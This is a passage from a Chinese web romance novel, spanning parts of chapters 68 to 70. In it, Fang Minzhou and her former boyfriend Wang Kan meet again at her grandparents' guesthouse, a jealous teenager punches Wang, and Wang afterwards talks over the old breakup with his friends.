她就不愿意承认自己嫉妒孙彤,因为觉得嫉妒这种情绪太丑陋,她把孙彤作为学习竞争的对象, 以弱化自己内心的不甘。 恋爱的时候,她也不愿意承认自己刻板较真、不切实际, 她总觉得她和王衎之间,她是更成熟、想得更远的那一个。 同龄人之间, 女孩比男孩懂事, 都是这么说的, 更何况她本来也比王衎大一点。 女生提分手是闹脾气, 男生提分手一定是认真的, 无法挽回——也是这么说的。 分手之后, 有那么一段时间,方敏周也不愿意承认自己在怨怪王衎,所以她反省自己, 可后来,她还是忍不住恨他。曾经甜言蜜语不断的人, 说分手就分手了,即使她有做的不好的地方,心里骂王衎几句也是情有可原的。 她的失恋阵痛期姗姗来迟, 缓慢而绵长。 在外留学的那年生日,她感冒在家,透过窗户看到公寓楼下一个黑头发的男生在雪里捧着束花。她的心顿时怦怦直跳,但很快有一个同样黑头发的女孩小鸟似得扑进男生的怀里。 方敏周望着这对情侣走远,她的幻想让她的脑袋一阵冷一阵热。感冒痊愈后,她决定再也不要想王衎了。 这么多年,他也的确没找过她,方敏周庆幸自己醒悟得早。 直到王衎退房离开,方敏周都没有再和他说过话。他不再刁难她,也不见得是刻意忽视,只是安安静静地当客人,她也就本本分分地做生意,不可谓不是一种和平。 方敏周不知道王衎那晚那句对不起的深意,但知道他对她也有过歉疚,她心里好受了许多。 虽然称不上冰释前嫌,但不再针锋相对就挺好,她既然要让自己放下,同时也不想被王衎记恨。 从这点上来说,王衎说得也没错。她确实很贪心地想在所有人心中都留下个不错的印象,以为和谁都能做朋友,倒不是生性友好,只是自我伪饰。 过了几天,王衎和老魏又来了一趟双溪镇,这次来是敲方案的,顺应镇子暑假期间推出的文化手工体验课,到时候会举办一个小型市集。 外公去村委会溜达的时候遇见这两人,聊了好一会,回来在饭桌上一一转述,夸现在的年轻人能干。方敏周左耳朵进右耳朵出,当外公把话题转到她身上,说“我们敏周也很厉害的”时候,方敏周才回了几句话。 外公的伤好得差不多了,只是还需要静养,避免做重活,方敏周计划先继续住到下个月。 她平时就待在民宿里,按理她和王衎也不会有正面交集,但有一次吃饭,外公说起今天这鱼是王衎钓的,“比较小,但蛮鲜的。” 方敏周猝不及防,一口鱼肉勉强咽下,才问是什么时候的事。 外公说就是白天,小王要来双溪,他请他顺便再来帮他看看谷仓要怎么改,小王正好钓了鱼,便送了几条过来,“特别有心。” 小王,怪怪的称呼。 方敏周推算了下时间,那时候她应该是在房间里,所以并不知情。 外公外婆又说王衎客气,让他留下来吃个晚饭,但他说有事得先走。 方敏周没有被鱼刺卡住,但一顿饭吃的仍然如鲠在喉。 鱼没有吃完,最后全靠外公陪着小酒,外婆说着奇怪,“我看阳阳也没怎么吃,是不是刺太多了?” 关阳沉着脸点了点头。 王衎来的时候他也在,想要帮忙却帮不上,还被阿公说小孩子不用管这些事,而王衎看了他一眼,也像是听到笑话一样笑了下,这让他产生了被小瞧的不快,却又无从抱怨,只能生闷气,又被张阿婆批评,小小年纪怎么老是一脸不高兴的,饭也不好好吃,实在憋屈。 晚上方敏周和外婆打扫卫生,方敏周突然听见外婆在大厅唤她,方敏周赶过去一看,外婆紧张地把一个黑包递给她,里头是一台单反相机,“你看看,这是谁的?这么不小心,是不是小王落下的?” 很像,应该是。 去双溪水库的那天,方敏周见王衎用过同款相机。 以防万一,方敏周还是问了问目前店内的住客,没有人丢东西,她再下楼,外婆问她:“是小王的吧?” “是吧。”方敏周淡淡地道。 “那得赶快给他送过去呀,这相机很贵的吧,这么大的人了,还丢三落四的。”外婆很着急,“你有没有他电话,或者他那些朋友的,要么去问问村长……” “我有,我给他打电话。”方敏周安抚外婆。 实际上她没有。 当晚,前台座机响了。 方敏周接起来,电话那头奇怪地沉默,她便猜到对面大概是王衎了。果然,几秒过后,她听见王衎说:“是我。” 这个开场白令方敏周有点难以接话,但既然她已经听出了王衎的声音,她也就直言:“你相机落我们这了。” 王衎一顿,“是的,我刚发现。” “你下次来拿,还是邮寄给你?” “邮寄给我吧。” “地址。” “加下我微信。” “……好。” 王衎报上手机号码,还是以前的号码。 他说分手后,方敏周在回北城的途中删掉了他所有的联系方式,那时候她想的是,如果王衎要找自己,是很好再加回来的。 “我通过了你的好友验证请求,现在我们可以开始聊天了。” 从Q/Q换成微信,王衎的网名还是KAN,头像从动漫角色几经更替,变为几何线条图案,她的网名也从“方块”变成了她的英文名“Jo”。 这个几何头像发来的第一条消息,是一串规整的通讯地址。 方敏周回复:好的。 她有点开王衎的朋友圈看,和她一样,仅展示近半年的内容,更新频率比他读书大学那会低太多:过年的一条,工作相关的两条,就没了,也许等到双溪镇活动进入宣传期的时候,还会再发一条。 值得庆幸的是村子里也有了快递驿站,方敏周预约了第二天最早的上门取件,揽件后,给王衎留了消息,他问多少邮费,她说她选得到付,王衎同样回她:好的。 他是故意留了相机还是真的不小心——方敏周不是十七八岁的小女孩了,她不再想要把心思精力用于思考感情问题,没有意义,干脆地掐灭了火苗。 从樟城寄到江城的快递一般是隔天到,方敏周收到了快递签收的提醒,但没有收到王衎的消息,她也没多问,却没想到这个周六王衎又有来。 方敏周不了解他们这个行业是否需要这样频繁地和甲方沟通,虽然这可以算作负责任的表现。她又想,如果王衎这周末本来就要来,相机也不急用的话,何必多花一笔快递费用。 最近她对金钱很敏感,因为在同金莹四处调研租办公室的价格。这对创业初期的她们来说是一笔很大的支出,在哪里租办公室,租什么样的办公室,价格无上限,越算成本,人也变得越抠门。 本来方敏周和金莹是想尽量远程工作,但过去几个月,一来工作室运转比她们想象中的顺利,以至于她们需要招聘实习生,二来她们既是提供软件开发设计一条龙服务,主要是面向B端客户,那么面对面的沟通不可避免,两人一商量,还是得租个办公间。 王衎来的时候,方敏周在院子里浇花,正儿八经算起来,大概也十天半个月没见过了,方敏周心里有种说不上来的别扭,但彼此还是客气地打了个招呼。方敏周去洗手,王衎去了后院找她的外公。 外公请了工人,打算把谷仓暂时清空,水电重新装修,之后再看拿来做什么。王衎来,也是给外公带东西,他们莫名其妙处得颇有一点忘年交的意思。 霞光正盛,夏天天黑得晚,时间其实已经不早了,王衎放下东西就要走,外婆留他:“没事的话就住一晚嘛,这么晚了。” “不用了阿婆……” “那就先吃饭,麻烦你这么多事,饭吃完了再说,忙了一天人都饿了。” 方敏周看王衎是盛情难却。 晚饭时,他坐在她的对面,少了他公司的那几人,这顿饭基本都是外公外婆在说,方敏周和王衎会偶尔说几句,各说各的,关阳则很沉默了。王衎要添饭,方敏周离电饭煲近,在外婆的提醒下,接过碗帮他盛了一碗饭,王衎说了句谢谢,然后看见关阳咬着筷子直盯着他看。 他微微笑了下,关阳的脸色沉下去,低头恨恨扒饭。 吃过晚饭,外公让关阳去地里摘些当季的蔬果给王衎带回去,关阳很不情愿地应了声。 他很不喜欢这个姓王的家伙,因为觉得他总是装得高深莫测,献了几回殷勤,就连敏周姐好像都忘了他一开始很没有礼貌的样子。 而见到王衎的车,是他很喜欢的一辆黑色SUV,关阳心里更不平衡。他家境不算差,但爸妈觉得他一事无成,至少这几年都不可能给他买车,他要是想自己买,也不知道要等到猴年马月,而他和王衎的差距不仅仅只是一辆车。 王衎本想搭把手,但手机响了,便走到一边接听。 关阳看他就是单手插兜,偶尔应一声,好不从容稳重,关阳却觉得十分做作。王衎只是来民宿住过几天,却频频地彰显存在感,这让关阳有种被挑战的危机,虽然这儿并不是他的领地,可更不是王衎的。 “好了?”王衎很快打完电话回来,“麻烦了。” 又见关阳一脸不善地盯着他,王衎挑了挑眉。 “你为什么老来?“关阳不想再忍了。 “工作啊。” 谁信啊?关阳有点生气:“你是不是在追我姐?” “谁是你姐?”王衎问。 关阳不答,他比他低半个额头,但倔强地仰着脸,对他的明知故问表露明显的不屑。 王衎想笑。 他想方敏周是多少人的好姐姐,他第一次听别人喊她“姐姐”,也就是他的外甥女,那时候就觉得别扭。 后来高中的某天,他无意间看到方敏周具体的出生年月,才后知后觉地意识到自己比方敏周小好几个月,还记得自己当时大受打击。 而方敏周早就发现了这点,反而说他:“咋了,你比我大就能高我一成了吗?” 他说她说话不要老是带刺好不好,“还不是你一直说我幼稚,那你现在看我不更像小孩子了?” 然后方敏周很无语的回他,“你因果关系完全搞反了好吧。” 大概是他大男子主义心里作祟,故意忽略了两个人的年龄差,好在方敏周在他面前也从不以“姐姐”自居,但现在倒是要听一个非亲非故的小子喊她“姐姐”。 他这样看起来就算是在追方敏周了吗?真的是年龄小,没见过世面。 他应该说没有,也可以故意说有,但关阳对自己的敌意如此显著,王衎也没兴趣和他开玩笑,他说:“和你有关系吗?” “怎么和我没关系了?”关阳叫道,被王衎看似随意实则挑衅的态度惹怒,“你还骗赵阿公是来看他的,实际上……你这就是打着幌子骚扰人啊,敢做不敢当。” “是谁敢做不敢当?你应该还要继续读书吧,不好好回家学习,在这里磨磨蹭蹭,到底是谁骚扰谁?” 关阳震怒:“你胡说八道什么啊?” “是我胡说八道,还是谁心虚了,怎么,还要打人吗?”王衎垂眼看了看关阳捏紧的拳头,不禁扯了扯嘴角,这样直白的冲动似曾相识,他抬起眼皮,上下打量关阳,“明确地和你说下好了,死心吧,你姐姐不喜欢你这样的。” 第69章 第 69 章 最后一个字吐出半个…… 最后一个字吐出半个, 脸上顿时一痛。 王衎顶了顶腮,往地上吐了口血沫。 挨拳头算预料之内的话,但他并不想额外咬伤舌头。他冷眼看向关阳, 一点儿没收着劲儿, 打起人来没轻没重的。 刹那间, 关阳就知道自己不该打人的, 后悔、自责、担忧……种种心情如山顶的石头纷纷滚落, 但立刻被泥石流般冲刷而至的愤怒吞没,只是王衎讨人厌的一笑,他忍不住, 又一个拳头挥过去,却被他挡住, 拳头打不出去也收不回来,指骨被捏得生疼, 僵持之下, 他被猛地垃圾似地丢开。 关阳气得骂了句脏话, 再度冲了过来。”喂!“ 王衎的车子停在院子外, 外公外婆见关阳一直没回来, 让方敏周出去看看, 结果她就看到关阳被王衎双手反制在地上,方敏周吓了一跳,赶紧跑过去, 见到她,关阳挣扎得更厉害。 方敏周喊着王衎的名字要把他拉起来, 王衎抬头看了眼方敏周,冷笑一声,起身放开关阳。 反正不管是他打人还是他被打, 都是他的错。 他脸上一闪而过的失望让方敏周愣了愣,而关阳一骨碌翻身起来,还要打人,方敏周连忙叫住他,但关阳上了头,根本听不见,再度被王衎抓住手,方敏周急得不行,上前试图分开两人,生气地骂道:“搞什么啊你们!” 王衎再一次甩开关阳,关阳一个踉跄后退一步,又被方敏周喝住,咽了口口水,努力克制,但喘着粗气,仍然像头不服输的牛犊似的死瞪着王衎。 天彻底黑了,车灯照出两道笔直的光束,茫茫然散开,没有终点。方敏周站在两人之间,她拉架拉得自己身上都出了汗,晚风拂过,心跳还没平复。 她又看了眼王衎,四目相对,确定他是比较冷静的后,方敏周转而先关心关阳:“你有没有哪里受伤?” 她深感后怕,刚才那一幕简直是噩梦重新循环,她不敢想万一关阳出了什么事王衎怎么办,还好,关阳看起来只是有一点擦伤,没有大碍。 她再看向王衎——方敏周一怔,似水的夜色里,王衎依然面无表情,但他冷漠的脸上出现了一种悲伤的眼神,像海面上突然出现的冰山尖角。 受了伤的野兽隐匿在黑暗里,依然危险,且持有攻击性,可是也很可怜。他也的确受伤了,光线昏然,看不清,似乎嘴角有裂开。 方敏周张了张嘴。 很多年前,十八岁的那个夏天,他也是这么看她的。 压在箱底的回忆被风化,过去与现实重叠,方敏周觉得自己好像一条被用力拧转的毛巾,有一种逐渐干涩的疼痛。 王衎收回目光,走到车后要关车厢门,但关阳站着没动。 “怎么,”王衎嘲道,“还没打够?” 关阳又要上前,方敏周往旁边拉了拉他,关阳咬牙,半晌泄气地让开。 “怎么回事?”方敏周轻声问他。 关阳隐忍着自己的呼吸,撇来了眼,不敢同方敏周对视。 尽管她不知道发生了什么,但孰错孰对,关阳的沉默和王衎的伤势多少证实了一些猜想。方敏周轻轻拍了拍关阳肩膀上的灰,“你先回房间休息。” “姐……” “不管怎么样,都不能打人,让外公外婆知道了怎么办?” 关阳欲言又止。 后车厢车门落下巨大的声响,方敏周一颗心微微抖了抖。 “没事,我和他聊一下。”方敏周安慰关阳,“没和你说,我和王衎之前认识,是朋友。” 关阳面露惊讶,一瞬不瞬地看着她,似乎在确认她说的是真话还是假话。方敏周用微笑示意他不用担心,慢慢的,关阳垂下了眼睛,也重新低下了头。 方敏周目送关阳走进院子里,而王衎已经准备上车离开,方敏周走过去拦住车门,车内的灯光下,她清楚地看到王衎颧骨上的红肿,“你下来,我找冰块给你冰敷一下。” “不用。”王衎语气不善。 “你要是回到江城再处理,会肿得更厉害。” “我说了,不用。”王衎不耐烦地说,“你让开。” 方敏周抿紧嘴唇,固执地毫不退步。 王衎握着方向盘,勉强摁下满腔的怒气,扭头看向方敏周,而她一脸严肃。 她倔起来还是这样,不谈感情,只讲道理。 王衎感觉自己的心忽得坠落,仿佛在梦中一脚踏空,恍然清醒,紧急避开被拽入回忆的漩涡,与此同时试图压抑的火气冲顶,一把拔下车钥匙,跨出车子。 车灯灭了,转瞬陷回的昏暗里,方敏周并没有因为突然过近的距离而惊慌,她像训练有素的战士似的,即使王衎的脸几乎贴过来,她的气息也没有丝毫波动。对视了几秒后,方敏周转身推开院门,没有回头,默认王衎会跟上。 王衎站直背,伤痛处隐隐发热。 听到身后的摔门声和脚步声,方敏周这才默默松了口气。 她本想领王衎到餐厅,但外公外婆都在,她不敢惊动他们,便让王衎等在餐厅外,她进去拿了一壶水,顺捎了一袋冰块,然后上楼。 她打开自己的房门,先放下水壶和冰袋,再从衣柜里找出一条干净的毛巾,把冰袋包好,对跟着过来了但仍站在门外的王衎说:“进来吧。” 王衎扯了扯嘴角,方敏周忽视他的情绪,只是提醒:“门不用关。” 王衎动作一顿,嘴角反而翘起。 “砰”的一声,关门声不大不小。 方敏周不为所动,眉头都没有皱一下,走过来把冰袋递给王衎的同时把门朝外重新打开。 冰袋握在手里沉甸甸的,冰砖一样,无法捏碎,即使隔着厚实的面料,冷意直透手心。 王衎一眼扫过这间房间,设计布局和他住过的那间差不多,但因为方敏周在这长住,所以留下了明显的生活痕迹:淡蓝色的四件套、床上的玩偶、桌上的书、椅子上的靠垫,还有窗边的植物,很像他去过的方敏周的房间,毛巾也还是她惯用的家居牌子。 “毛巾是新的,有洗过,但我没用过。”方敏周说,她用过的王衎嫌弃也无可厚非。 只是过过水的毛巾,有崭新的触感,是泾渭分明的待客之道,王衎对自己笑了笑,敷上冰袋。 方敏周示意王衎可以在沙发上坐下,又倒了一杯水放在茶几上,往他的方向推了推,“你先现在敷一会,然后回江城之后再冰敷,”说着,她拉开书桌柜子,“这瓶药油也给你,效果听说还可以。” “你怎么知道还可以,你什么时候自己试过了?” “没有,我不和人打架,最近也没受伤,这是我外婆给我的,拿药草做的,如果你觉得没用也可以扔掉。”方敏周说的一本正经。 丝丝的冷意从脸颊放射性地传递到四肢百骸,王衎闭了嘴,他只有闭嘴,才不会狼狈地融化。 他们又一次一人坐在沙发的一端,虽然方敏周后来说了一些气话,但从他们重逢起,她确实就像她最初说的一样,没有把他当做仇人,因为她意识到了自己的错误、释然了、向他道歉了,因此,她可以自然坦然地关心他,好像他们之间不存在任何间隙——他不是不想,他也道歉了,他只是还是做不到,她又是怎么放下的? 只能是一开始就没太放在心上。 王衎觉得方敏周或许没有认识到一件事,和平分手的前提是双方都放手,恋爱不是战争,一方投降就可以结束,更何况,投降的人不是她。 可也是方敏周的冷静淡然,让他无法歇斯底里,那样只会让他觉得自己更加丢脸。 良久,手心里的毛巾有了一点湿意,他说:“你不用担心我会怎么样,我都没有还手。” 方敏周闻言,默默看了王衎一会,“关阳他年纪小,脾气也比较急,但如果没有什么事情,他不会随便打人的。” 王衎反应过来后,被气笑了。 方敏周表情一点没变,继续问他:“你和他说什么了?” 王衎心里恶意瞬间像脓一样流出来,“你真的要听?” “你说。” “我让他死心,我说你不会喜欢他这样的。” 方敏周终于皱眉,“你为什么要和他说这些?” “这时候你不应该去问他吗,问他和我说了什么。” 方敏周无言。 “你别说你看不出来那小子喜欢你。”王衎毫不留情地戳穿她。 不管方敏周是装傻还是迟钝,王衎都厌烦了这种不断上演的戏码,她总以为清者自清,总以为所有人都是好人。 “十几岁的时候不都这样吗,不算真的喜欢。”方敏周平静地回完,却见王衎脸上自始至终的那抹讥笑生生僵住。 她也一愣,很快意识到自己说错了话,但隐隐的愠色已然取代了王衎原来的冷嘲热讽。 ……她的本意只是解释而已。 青春期情绪波动频繁,容易对他人产生好感再正常不过,她并没有话里有话地贬低王衎,更没有轻视他过去的感情。好与不好,她都记着。 可现在,她要怎么说。 算了,反正她说错的话也不止这一句了。 “所以,”王衎往后靠在沙发上,握紧了手里的冰袋,问方敏周,“如果过个几年,他还喜欢你呢?” 方敏周不喜欢王衎作这样无聊且有恶意的揣测,她想强调,关阳比他们小快一轮,但和他也没什么好说的,“到时候再说吧。” 王衎似笑非笑:“看来我说错了?你什么时候喜欢他这样的了?” “我没有,你不要再乱说了。” “那你到时候再说什么?” “几年后的事谁知道。” “你厉害,你最淡定,什么事情在你眼里都不是事,你……” “好,”方敏周打断王衎,“那你说吧,关阳是什么样的,我喜欢什么样的,你以前又是什么样的?” 室内静默,风吹窗户发出了轻微的响动。 冰袋冰得脸发麻,王衎第一次觉得,方敏周其实是个疯子。 “他和我那时候一点也不像。”他缓缓开口。 “嗯,不像。” “所以我没说错。” 方敏周无意再和王衎胡搅蛮缠了,她微叹了口气,“关阳打了你是他的不对,我替他和你说声对不起,之后如果你还会来,我再让他向你道歉,但……你不应该和他说那些话的,虽然他也十八了,但只是刚刚成年没多久。” 王衎若有所思地点点头,“我真想知道,现在的你要是回到十年前,我和林斯年,你会替谁说话。” “王衎。” “各打五十大板,他那五十板还是你替他挨了,”王衎继续说,“你还真当他是你弟了。” “不然呢。” “那我呢,你当我是什么?” 方敏周心下一震,“你想我当你什么?” 王衎又笑,几乎要为方敏周这个回答拍手叫绝,“你觉得呢?” “我不知道。” “不知道是什么意思?你不是说要当朋友的吗?” “就是不知道,我是想拿你当朋友,但你好像也不愿意,你与其问我,”方敏周说,“你还是问清楚你自己比较好。” 第70章 第 70 章 周五晚上的烤肉店外…… 周五晚上的烤肉店外排起了长队, 王衎经过人群,和前台报上手机尾号后,上了二楼。 一出现在楼梯口, 立刻被郑彦航和吴丞锁定。 他走过去, 还没在他们对面坐下, 郑彦航便嘲讽道:“王总, 我们等了一个小时等到位了, 你终于来了,有这么忙吗?” “有点。”王衎毫不客气地夹起烤好的肉就吃。 郑彦航继续吐槽:“你这不是一家小公司吗,有这么多生意吗?你当老板的都这么忙, 你底下的人得倒霉死了。” “老板忙,员工才不忙。”吴丞悠悠地说。 王衎对吴丞说:“有铁饭碗的人不一样。” 郑彦航敲起筷子。 但迟到是他不对, 王衎说请客,郑彦航又阴阳怪气起来。 王衎:“那你的那份自己付。” 郑彦航:“诶——那不行, 还是王总来吧。” 郑彦航大学毕业后回到樟城在体校工作, 吴丞则进了一家药企, 去年被调到江城的分公司。成年人聚少离多, 这周郑彦航带队来江城参加比赛, 比赛结束了, 三人约好见面吃饭。 吴丞忽地隔空指了指王衎的脸,问他:“你这儿怎么了?” 郑彦航闻声抬起头仔细看了看,惊奇:“是诶, 你和人打架了?” 王衎脸色不变地咀嚼吞下嘴里的食物后,“嗯”了一声。 快一周过去, 他的颧骨和嘴角还隐约有痕,已不如周一去公司时触目惊心,加上店内灯光澄黄, 自带柔光滤镜效果,又烟雾缭绕,因此这会儿才被发现他脸上有伤。 “我去,怎么回事啊。“郑彦航有点激动,“你是被抢劫了还是抢劫别人去了?这把年纪了还能和人干起来?” 王衎翻转着食材,“没有。” 既无战败的沮丧也不见胜利的兴奋,还是平静无奇,郑彦航有时候看王衎这样就胃疼,“喝酒喝多和人动手了?还是和情敌打架?总不能是走楼梯摔了吧?” 王衎这次没否认了,放下夹子,喝了口饮料。 事有蹊跷了,郑彦航和吴丞互看了一眼,“你不能吧,你不是戒酒了吗?” “是戒了。” “那……”郑彦航有点转不过弯来了。 不是这个,那是哪个?情敌?哪来的情敌?质疑的话就要脱口而出,想到什么,咽了下去。 看到郑彦航有所顾忌地变了神色,王衎才有点想笑。 吴丞推了推眼镜,问:“……你怎么了?” 王衎:“过段时间我们在双溪镇有活动。” 郑彦航:“哦,我知道,你不是也经常去那边钓鱼吗?是需要我们捧场?” 王衎:“方敏周外公外婆家在双溪。” “……” 王衎的语气太稀疏平常,以至于郑彦航和吴丞都反应了好一会,才确信刚才“方敏周”这三个字真的是从王衎嘴里说出来的。 这么多年,这个名字一直是一个禁忌一般的存在。 封印什么时候解除的? “……碰上了?” “嗯。” “兄弟,你……”郑彦航犹犹豫豫,“你这脸……不会是方……敏周打的吧?” “不是。”王衎终于笑起来。 郑彦航却眉头深锁,夹在筷子里的肉都没吃了,石化了一样,硬着脖子怀疑地打量王衎。 “那谁打的?”吴丞一边问,一边把快要烤焦的肉夹到盘子里。 “她外公外婆开了间民宿。”王衎说,“在民宿帮忙的一个小孩。” 为什么——不用问了,他说了,和情敌打架,但是,对方是小孩,“……几岁?” “不知道,十八吧。” “……你也打他了?” “没有。”王衎咧咧嘴,“我倒想,但怕把人打死了。” 没有人附和这句玩笑话。 隔壁的卡座内忽地安静,继而继续碰杯交谈,其他桌的欢声笑语模糊地围绕着他们。 只有王衎一个人还在吃饭,好笑地看着两个朋友的面容渐渐严肃。 郑彦航暗自猜想这样的王衎有没有把方敏周吓到,“所以……你们现在是什么情况?” 王衎摸了摸手里的玻璃杯,耸耸肩。 “……你还喜欢她啊?”郑彦航小心翼翼地问,半是试探,尽管他们知道答案,但一直没敢确认,久而久之,答案也变成了悬案,再问也问不出口了。无外乎是一道旧疤痕,没事还是别揭开的好。 “我一直都喜欢啊。”依然是戏谑的语气。 王衎总是说玩笑话,但以前是小不正经,令人又气又笑,现在却语焉不详,带着若有似无的讽刺,让人难以判断他到底是什么意思。 半晌,郑彦航长长地叹了口气,很是感慨,“……你那时候不应该提分手的。” 王衎的笑淡了些,他把生肉放到烤网上,炭火像闻到了血似得立刻舔上来,“刺啦”一声,烟雾袅袅,方寸之间再度被沉默盘踞。 没有喝酒,很久没喝酒了,王衎却觉得自己现在整个人飘忽在空中,这是见到方敏周的后遗症,和以前还和她在交往的时候一样。见不到她难受、见到她高兴,情绪起起伏伏便成了瘾,花了几年戒断,现在又复发了。 郑彦航有点后悔自己好像说得太唐突,但既然开了口,“真的,大学四年异地都过来了,就算你不能陪她去国外了又怎么样呢,反正一两年也就回来了。” 但那个时候,王衎默默地想着,他并不知道她还会不会回来,也不知道一两年后的自己,会是什么样。 郑彦航很少有把王衎说到没有话的时候,他忍不住又叹了口气。 读建筑要读五年,王衎毕业那年,郑彦航和吴丞去江城找他玩。 小半年没见,感觉他比过年那会还要瘦,以为是忙毕设累的,左右不见方敏周,郑彦航就问了句,毕竟这是情侣之间需要纪念的日子,问完想起来,方敏周可能还在国外。 那个时候,王衎才说他们已经分手了,甚至是去年就分的手。郑彦航大为震惊,再得知是王衎提的,下巴都要掉下来了。 高中毕业后不再天天待在一个教室里,朋友之间的消息多少滞后了些,郑彦航一直默认王衎在和方敏周过和和美美的小日子,感觉前一天好像还在羡慕他们的恋爱长跑。 再问王衎为什么,他却什么都不肯说了,郑彦航也就猜测是方敏周出国闹的,可是王衎之前不是也说要一起出国吗?结果直接回了樟城,看来家家有本难念的经。 他有点唏嘘,同吴丞聊起来,这小子原来早有察觉——在去年发现方敏周的毕业照里没有王衎的时候,但吴丞也没有多问。 郑彦航又旁敲侧击地去问了欧阳茜,欧阳茜也已经知道了,但不清楚内情,听说方敏周也消沉了一阵子,他便想,那大概是没办法走下去了。 再后来,就是一次聚餐,他们慌里慌张地把喝酒喝到吐血的王衎送进医院,阿姨赶过来后,只言片语中,他们才得知王衎家里的变故:生意周转不灵,叔叔又突发疾病,好在抢救及时,只是需要长时间的静养。 所以之前王衎暴瘦,是因为学业,也因为在江城樟城两地奔波,还有其他。 郑彦航难以忘记那天阿姨在等到王衎醒来后流着眼泪骂他的话,“我让你别喝别喝,你爸就是喝酒喝出来的病,你也要这么糟蹋自己是不是?” 而他从医院出来,买了束花回家送给他妈,把他妈搞得莫名其妙的。 那之后,郑彦航就没再见过王衎喝酒了。 方敏周大概是什么都不知道,就像他们一样,郑彦航曾经想去告诉她,但最终没去,不合适,他也没资格。那感觉很像是替王衎卖惨,但他们分手可能还有其他原因。 等不到王衎说话,郑彦航斟酌着开口:“有件事,我不知道要不要说。” 王衎:”那就别说。 郑彦航:“……” 王衎又笑了笑:“你说吧。” “你让我说我就说?” 王衎不再理睬,郑彦航“啧”了声,“……其实,我之前和方敏周吃过一次饭。” 王衎嘴角的笑又下去了一点。 “两三年前吧,那时候她已经回国工作了,我去北城,欧阳茜正好也在,聊起来……反正就一起吃了顿饭。” 郑彦航解释完前因后果后观察王衎的表情,又变得镜子一样,让照得人兀自心慌。 王衎突然问吴丞:“你呢?” “我什么?”吴丞一头雾水。 “你和方敏周吃过饭吗?” 吴丞面露迟疑,“……没吃过饭,但之前春节买东西,有碰到她和她妈。” 王衎一哂。 这听起来并不是天方夜谭,樟城就那么大,只是他就从来没有在街角偶遇过方敏周。 因为共同的好友圈,王衎偶尔还会辗转得到她的消息,甚至能看到欧阳茜在朋友圈里发的合照,方敏周可能也知道他的近况,但仅此而已。 除了他,所有人都和她保持着良好的联系。 今晚这顿肉算是糟蹋了,郑彦航确信,一边奇怪话题怎么变成这个一边破罐破摔,毕竟他想说的不只是和方敏周吃了顿饭而已:“然后当时吃饭,我其实有提到你,因为她既然回国了,然后那个时候也没有男朋友,你也……我就想问问你们两个还有没有机会,我没和你说这事,就是怕你觉得哥们我多管闲事。” 王衎把烤焦的肉捡出来,“然后呢?” 郑彦航吞下两块肉壮胆,食不滋味,“她说算了。” 说完,郑彦航汗都要下来了。 大夏天的吃烤肉还是太热,空调再猛也顶不住。 “还有呢?” “没了。” 有那么一刹那,郑彦航以为王衎要掀桌了——无桌可掀,桌子是钉死的,而他也好端端地坐在位置上,给自己重新倒满了水,不见气急败坏地一灌而下,而是慢慢喝了口,“你现在和我说这些干嘛?” 郑彦航就看不惯王衎这揣着明白当糊涂的样,自以为清醒,实际上可劲儿地在泥潭里滚,“你们当初要是没说分手,现在小孩可能都可以打酱油了,但分都分了……” 吴丞咳嗽一声,扯了扯郑彦航。 看到王衎的脸色终于挂不住,郑彦航爽了之余也有点后怕,住嘴的同时脑筋抽空还转了一圈:要是没有意外,按王衎当年那副德性,真说不定一毕业就要拉着方敏周扯证,至于方敏周愿不愿意就是另一回事了。 他也咳嗽一声,“我的意思是说……你提的分手,就别指望人还会回头来找你了,方敏周多傲你还不知道?” 提分手的人是他——这个事实不用郑彦航三番五次地提醒,王衎一直记得。 他也知道她的骄傲,就是因为知道,所以才想看她会不会为他挽留一次,就一次,但只有她决绝转身离开的背影,而他也不敢再叫住她。 他总是担心方敏周越飞越高,但她本来就应该越飞越高的。 既然他时常为自己配不上她而焦虑,是不是就说明,他真的配不上她?那他是不是应该主动放手?他那么清楚方敏周不说分手,是出于责任感和她的浪漫心理,实际上,他和这段关系,已经无数次让她疲惫。 他曾经暗自觉得方敏周过于理想主义,可当现实的浪潮扑过来,王衎才发现,不切实际的人,原来是他。 她一直在努力自立,而他的随性恣意全部都是依赖家庭的托举,失去这份支柱,他就是一个一事无成、前途渺茫的废物。他无法分担父亲的病痛,无法排解母亲的忧愁,他不可能掏空最后的家底出国而不求回报,也不可能再毫无负担地乘国际航班去见她。 她总说他幼稚,认真的或者调侃的,说得多了,他心里其实隐隐有些不高兴,但在他第一次数清医疗账单金额的时候,王衎迟了几年才明白方敏周的批评是多么正确,而他有多么不成熟,但即使认识到了这一点,他也仍然在用不成熟的方式说分手,期盼她会问一句为什么。 那时候他想着,只要她有一点不舍,那他一定不会放手的。 可是那天看着她走远,他竟然感到如释重负。 再见面,他说了很多言不由衷的话,但觉得分手对她来说是件好事那句,他是说真的。 “其实高中的时候,我也觉得你们两个不合适,但谈恋爱嘛,也没什么,开心就行,但现在,你不能只想着谈恋爱吧?更何况,你想想你们当初为什么分手——虽然我也不是很清楚,但这么多年过去了,你的事情她不知道,她的事情你也不知道,很多事情都不一样了。” “什么是合适,什么是不合适?”王衎问。 如果不合适,他为什么会喜欢方敏周?爱情可以甜蜜而忧伤,可以幸福而绝望,那合适的爱情是什么样的? 如果不合适,方敏周为什么会喜欢他?只是,现在她还喜欢吗? 郑彦航觉得王衎又钻牛角尖了,还是他越来越现实? 高中时他也有喜欢的女孩,但意识到两人之间的可能性几乎为零后,他就舍弃了念想。他之后谈的几段恋爱,也都是在双方互有好感的情况下进一步接触,他不是愿意很花心思的人,所以换位思考,如果是他家里出事,除非迫不得已需要别人帮助,他也不愿意让别人知道。 怕被同情怕被可怜,既无实际用处,反而还会多一份心理负担。 但他以为王衎和方敏周是不一样的。 如果是以夫妻的责任来说,互相扶持应该是基础,大难临头各自飞的也不是没有,但王衎都没敢让方敏周和他的感情经历这段考验,要么是他太珍重了,要么是他自己也没信心。 然而无论前者还是后者,既然无法共度难关,郑彦航想劝王衎,也不必再耿耿于怀了。 只是,不是这一位,那会是下一位吗? 人这一生,都能遇到相濡以沫的伴侣吗? “我们做实验的时候,”吴丞在紧张的气氛下慢吞吞地插嘴,“如果数据有问题,我们一般会先检查有没有算错,不然就说明过去哪里有一个步骤做错了,但最后,一般还是要重新做。” 无人接话。 过了一会,郑彦航问:“没了?” 吴丞:“没了。” 郑彦航:“我怎么没听懂?” 吴丞又推了推眼镜:“……我也不知道怎么说。” 郑彦航无语,再看王衎靠着卡座,不知道在想什么,郑彦航自罚一杯,再问他:“方敏周是去看她外公外婆?” “离职了,住那休息。”王衎一句带过。 郑彦航:“……你倒是还挺清楚的。” 王衎扯扯嘴角。 